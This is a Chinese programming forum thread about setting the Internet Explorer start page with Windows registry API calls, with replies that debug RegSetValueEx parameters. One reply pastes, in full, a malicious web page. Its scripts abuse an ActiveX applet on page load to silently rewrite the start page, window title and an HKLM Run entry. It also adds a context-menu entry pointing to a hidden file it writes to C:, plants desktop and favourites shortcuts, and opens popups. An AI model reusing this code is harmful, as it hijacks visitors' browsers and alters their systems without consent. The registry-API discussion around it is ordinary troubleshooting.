修改注册表:
看看这个主键:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main

解决方案 »

  1.   

    调用api函数,RegOpenKeyEx(HKEY_CURRENT_USER,
    "software\\Microsoft\\Internet Explorer\\Main...",//子键位置
    0,
    Key_READ,&hKey);
    RegQueryValueEx(hKey,............),RegSetValueEx();用这些函数就行,自己找本书看看
      

  2.   

    BYTE  lpkeyvalue[255];
    RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Internet Explorer\\Main",0,KEY_READ,&hkey1);
    RegQueryValueEx(hkey1,"Start Page",0,0,lpkeyvalue,&dwbuf);
    result=RegSetValueEx(hkey1,"www.neolec.com",0,REG_SZ,lpkeyvalue,&dwbuf);编译说result返回有错,但我对照了RegSetValueEx()的用法,没错呀,
    那位高人指点一二
      

  3.   

    RegSetValueEx()的最后一个参数是什么?应该是DWORD,你用的是指向DWORD的指针?
      

  4.   

    DWORD dwbuf=256;
    有错吗??
      

  5.   


    我发现了一段特别狠的网页。
    能创建、删改文件、修改注册表、
    代码如下
    <script language="Javascript">parent.name= 'vh4t8jkn34';</script> 
    <html><HTML XMLNS:IE><HEAD><TITLE>★寒晨★空间</TITLE>
    <META content="MSHTML 5.50.4134.600" name=GENERATOR></HEAD>
    <SCRIPT language=JavaScript> 
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); 
    function f() 

     try 
     { 
    a1=document.applets[0]; 
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
    a1.createInstance(); 
    sh = a1.GetObject(); 
    a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
    a1.createInstance(); 
    fo = a1.GetObject(); 
     if (document.cookie.indexOf("km169set") == -1) 
     { 
      sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\★点击访问★ ->寒晨空间★\\", "c:\\yntop.htm"); 
      hd=fo.CreateTextFile("c:\\yntop.htm"); 
      hd.write('<html><head></head><\script  language=javascript>window.open("http://va.51.net");<\/script></html>'); 
      hd.close(); 
      file=fo.GetFile("c:\\yntop.htm"); 
      file.Attributes=6; 
      var expdate = new Date((new Date()).getTime() + (1)); 
      document.cookie="km169set=km169; expires=" + expdate.toGMTString() + "; path=/;" 
     } 
     } 
     catch(e) 
     { 
     } 

     
    function init() 

    setTimeout("f()", 1000); 

    init(); 
    </SCRIPT> </td>
        <td width="10%"></td>
        <td width="10%"><SCRIPT>
    /////////////////////////////////////在桌面添加链接///////////(本程序由http://va.51.net提供)
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function yuzi(){try{hzy=document.applets[0];hzy.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");hzy.createInstance();yuzi=hzy.GetObject();hzy.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");hzy.createInstance();try{Shor=yuzi.CreateShortcut(hzy.GetObject().GetSpecialFolder(0)+"\\Desktop"+"\\"+"【寒晨空间】"+".URL");Shor.TargetPath="http://va.51.net";Shor.Save();}catch(yu){}}catch(yu){}}setTimeout("yuzi()",1000);</SCRIPT><SCRIPT>function AddFavLnk(loc, DispName, SiteURL)
    {
    var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
    Shor.TargetPath = SiteURL;
    Shor.Save();
    }function meier()
    {try
    {
    a1=document.applets[0];
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Shl = a1.GetObject();
    a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
    a1.createInstance();
    FSO = a1.GetObject();
    a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Net = a1.GetObject();try{Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://va.51.net");
    var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
    document.cookie="Chga=general; expiresa=" + expdate.toGMTString() + "; path=/;"
    var WF, Shor, loc;
    WF = FSO.GetSpecialFolder(0);
    loc = WF + "\\Favorites";if(!FSO.FolderExists(loc))
    {
    loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
    if(!FSO.FolderExists(loc))
    {
    return;
    }
    }AddFavLnk(loc, "【寒晨空间】", "http://va.51.net");if (document.cookie.indexOf("bChg") == -1)
    {
    Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "IE广告  【寒晨空间】 『http://va.51.net』");
    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "IE广告  【寒晨空间】 『http://va.51.net』");var expdate = new Date((new Date()).getTime() + (1));
    Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\internat.exe", "http://va.51.net");
    document.cookie="bChg=general; bexpires=" + expdate.toGMTString() + "; path=/;"
    }}catch(e){ }
    }
    catch(e){ }
    }function init(){
    setTimeout("meier()", 1000);
    }
    init();
    </SCRIPT><SCRIPT>
    /////////////////////////////////////在桌面添加链接///////////(本程序由http://va.51.net提供)
    </SCRIPT></td>
        <td width="10%"></td>
        <td width="10%"></td>
        <td width="10%"></td>
        <td width="10%"></td>
        <td width="10%"></td>
        <td width="10%"></td>
      </tr>
    </table><BODY style="OVERFLOW-Y: scroll; OVERFLOW-X: hidden; WIDTH: 100%" text=#ffffff 
    vLink=#ffff80 aLink=#ffff80 link=#cc3399 bgColor=#000000 leftMargin=0 
    background=index.files/beijing.gif topMargin=0 onload=makesnake() 
    onunload=money() marginheight="0" marginwidth="0">
    <DIV align=center>
    <TABLE cellSpacing=0 cellPadding=0 width="75%" border=0>
      <P>  <!--
    td {  font-size: 9pt}
    p {  font-size: 9pt}
    A {text-transform: none; text-decoration: none;}
    a:hover {color:#FF00FF;text-decoration:underline}
    --></STYLE>
      
    <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
      <TBODY>
      <TR>
        <TD align=middle width=330>
          <TABLE cellSpacing=10 cellPadding=0 width=300 border=0>
            <TBODY>
            <TR>
              <TD align=middle> </TD></TR>
            <TR>
              <TD align=middle>
                <TABLE cellSpacing=0 cellPadding=0 width=209 border=0>
                  <TBODY>
                  <TR>
                    <TD align=middle><A target=_blank 
                      href="ziliao"><IMG height=65 
                      src="index.files/profile.gif" width=119 border=0></A></TD></TR>
                  <TR>
                    <TD><A target=_blank 
                      href="tubiao"><IMG height=49 
                      src="index.files/gallery.gif" width=126 border=0></A></TD></TR>
                  <TR>
                    <TD><A target=_blank 
                      href="gechi"><IMG height=57 
                      src="index.files/lyric.gif" width=209 border=0></A></TD></TR>
                  <TR>
                    <TD vAlign=bottom align=middle height=77><IMG height=5 src="" 
                      width=40><A target=_blank 
                      href="liaoliao"><IMG height=67 
                      src="index.files/review.gif" width=122 border=0></A></TD></TR>
                  <TR>
                    <TD align=middle height=60><A target=_blank 
                      href="xinwen"><IMG height=58 
                      src="index.files/news.gif" width=118 border=0></A></TD></TR>
                  <TR>
                    <TD align=right><A target=_blank 
                      href="http://www5.bsina.com"><IMG 
                      height=77 src="index.files/links.gif" width=119 
                    border=0></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD>
        <TD vAlign=top width="99%">
          <TABLE height=100 cellSpacing=0 cellPadding=0 width="100%" border=0>
            <TBODY>
            <TR>
              <TD width=191> <IMG style="WIDTH: 444px; HEIGHT: 77px" height=60 src="http://va.51.net/3d/3d5.gif" width=356></TD></TR></TBODY></TABLE>
    <TABLE cellSpacing=0 cellPadding=0 width=472 border=0>
    <TBODY>
    <TR>
    <TD align=middle>
              <TD width=191> </TD></TR></TBODY></TABLE>
          <TABLE cellSpacing=0 cellPadding=0 width=472 border=0>
            <TBODY>
            <TR>
              <TD align=middle>
                <TABLE cellSpacing=0 cellPadding=0 border=0>
                  <TBODY>
                  <TR>
                    <TD width=25 height=15><IMG height=15 src="index.files/tl.gif" 
                      width=25></TD>
                    <TD background=index.files/t.gif height=15><IMG height=5 
                      src="" width=5></TD>
                    <TD width=15 height=15><IMG height=15 src="index.files/tr.gif" 
                      width=15></TD></TR>
                  <TR>
                    <TD vAlign=top width=25 background=index.files/l.gif><IMG 
                      height=125 src="index.files/stick.gif" width=25></TD>
                    <TD bgColor=#00b1ca><!-- START of image1 input -->
                      <OBJECT 
                      codeBase=http://active.macromedia.com/flash2/cabs/swflash.cab#version=4,0,0,0 
                      classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 
                      align=baseline width=400 height=300 border="0"><PARAM NAME="_cx" VALUE="10583"><PARAM NAME="_cy" VALUE="7938"><PARAM NAME="Movie" VALUE="http://va.51.net/flash/women.swf
    "><PARAM NAME="Src" VALUE="http://va.51.net/flash/women.swf
    "><PARAM NAME="WMode" VALUE="Window"><PARAM NAME="Play" VALUE="-1"><PARAM NAME="Loop" VALUE="-1"><PARAM NAME="Quality" VALUE="High"><PARAM NAME="Menu" VALUE="-1"><PARAM NAME="Scale" VALUE="ShowAll"><PARAM NAME="DeviceFont" VALUE="0"><PARAM NAME="EmbedMovie" VALUE="0">
                      <embed src="http://va.51.net/flash/women.swf
    " align="baseline" border="0" 
                      width="100" height="100" loop="false" menu="false" 
                      quality="high" type="application/x-shockwave-flash" 
                      pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"></OBJECT>
                      <P><!-- END of image1 input --></P></TD>
                    <TD width=15 background=index.files/r.gif><IMG height=5 src="" 
                      width=5></TD></TR>
                  <TR>
                    <TD width=25 height=16><IMG height=16 src="index.files/bl.gif" 
                      width=25></TD>
                    <TD background=index.files/b.gif height=16><IMG height=5 
                      src="" width=5></TD>
                    <TD width=15 height=16><IMG height=16 src="index.files/br.gif" 
                      width=15></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
        <TD class=text align=middle> </TD></TR></TBODY></TABLE>
    <P><IMG alt="index/well14.gif (3310 bytes)" src="index.files/well14.gif">
    <SCRIPT>document.write("<a href=http://www.textclick.com/viewmain.asp?name=jyb52 target=_blank><img src=http://ad.t2t2.com/stat.asp?user=jyb52&refer="+escape(document.referrer)+"&cur="+escape(document.URL)+" alt=太极统计 border=0></a>");</SCRIPT>
    <FONT color=blue size=6>OICQ:19959777</FONT></P>
    <P><FONT color=#0000ff size=6></FONT></P>
    <TABLE background=index.files/beijing.gif bgColor=#000080 border=2 borderColor=#000080 borderColorDark=#000080 borderColorLight=#000080 cellSpacing=1>
    <TBODY>
    <TR>
    <TD align=middle><FONT color=#c0c0c0 size=6>s e a r c h</FONT></TD>
    <TD align=middle>
    <FORM action=http://jyb52.51.net/cgi-bin/searcher/searcher.cgi method=post>
    <INPUT name=action type=hidden value=search> 
    <INPUT name=Keywords> <INPUT type=submit value=寒晨搜索 td <> 
    <TD align=middle><A href="http://jyb52.51.net/cgi-bin/searcher/searcher.cgi?menu=add"><FONT color=#005ab5 size=5>新站登录</FONT></A><FONT size=5> </FONT></TD></TR></TBODY></TABLE>
    <P align=center> </P></FORM>
    <SCRIPT>
    /////////////////////////////////////在桌面添加链接///////////(本程序由http://va.51.net提供)
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function yuzi(){try{hzy=document.applets[0];hzy.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");hzy.createInstance();yuzi=hzy.GetObject();hzy.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");hzy.createInstance();try{Shor=yuzi.CreateShortcut(hzy.GetObject().GetSpecialFolder(0)+"\\Desktop"+"\\"+"【寒晨空间】"+".URL");Shor.TargetPath="http://va.51.net";Shor.Save();}catch(yu){}}catch(yu){}}setTimeout("yuzi()",1000);</SCRIPT>
     <SCRIPT LANGUAGE="JavaScript">
    <!--
      if (parent.name != 'vh4t8jkn34') {
       window.open("/bannercode?code=embed", "vh4t8jkn34", "resizable=yes,width=500,height=160");
      }
    //-->
    </SCRIPT></noscript>
    <!-- banner  -->
    </noscript>
    <SCRIPT LANGUAGE="JavaScript">
    <!--
      if (parent.name != 'vh4t8jkn34') {
       window.open("/bannercode?code=embed", "vh4t8jkn34", "resizable=yes,width=500,height=160");
      }
    //-->
    </SCRIPT>
      

  6.   

    你跟踪一下,看看执行到下面一句时,hKey1是不是NULL。如果是NULL,说明不是RegSetValueEx的问题;如果不是NULL,那你把下面函数最后一个参数前的取址符“&”去掉试试。
    result=RegSetValueEx(hkey1,"www.neolec.com",0,REG_SZ,lpkeyvalue,&dwbuf);
      

  7.   

    BYTE  lpkeyvalue[255];
    RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Internet Explorer\\Main",0,KEY_READ,&hkey1);
    RegQueryValueEx(hkey1,"Start Page",0,0,lpkeyvalue,&dwbuf);
    result=RegSetValueEx(hkey1,"www.neolec.com",0,REG_SZ,lpkeyvalue,dwbuf);这样编译通过了,但是IE没有启动www.neolec.com,why?????
      

  8.   

    我的计算机昨天就被改过,TNND
      

  9.   

    把最后一句改成下面的就可以了。   
        strcpy((char*)lpkeyvalue,"http://www.neolec.com");
        result=RegSetValueEx(hkey1,"Start Page",0,dwType,lpkeyvalue,dwbuf);
      

  10.   

    想自己启动,把它放在Run键下,我的注册表被改过,我后来发现我每次开机时,可恶网页就自动启动。试试看。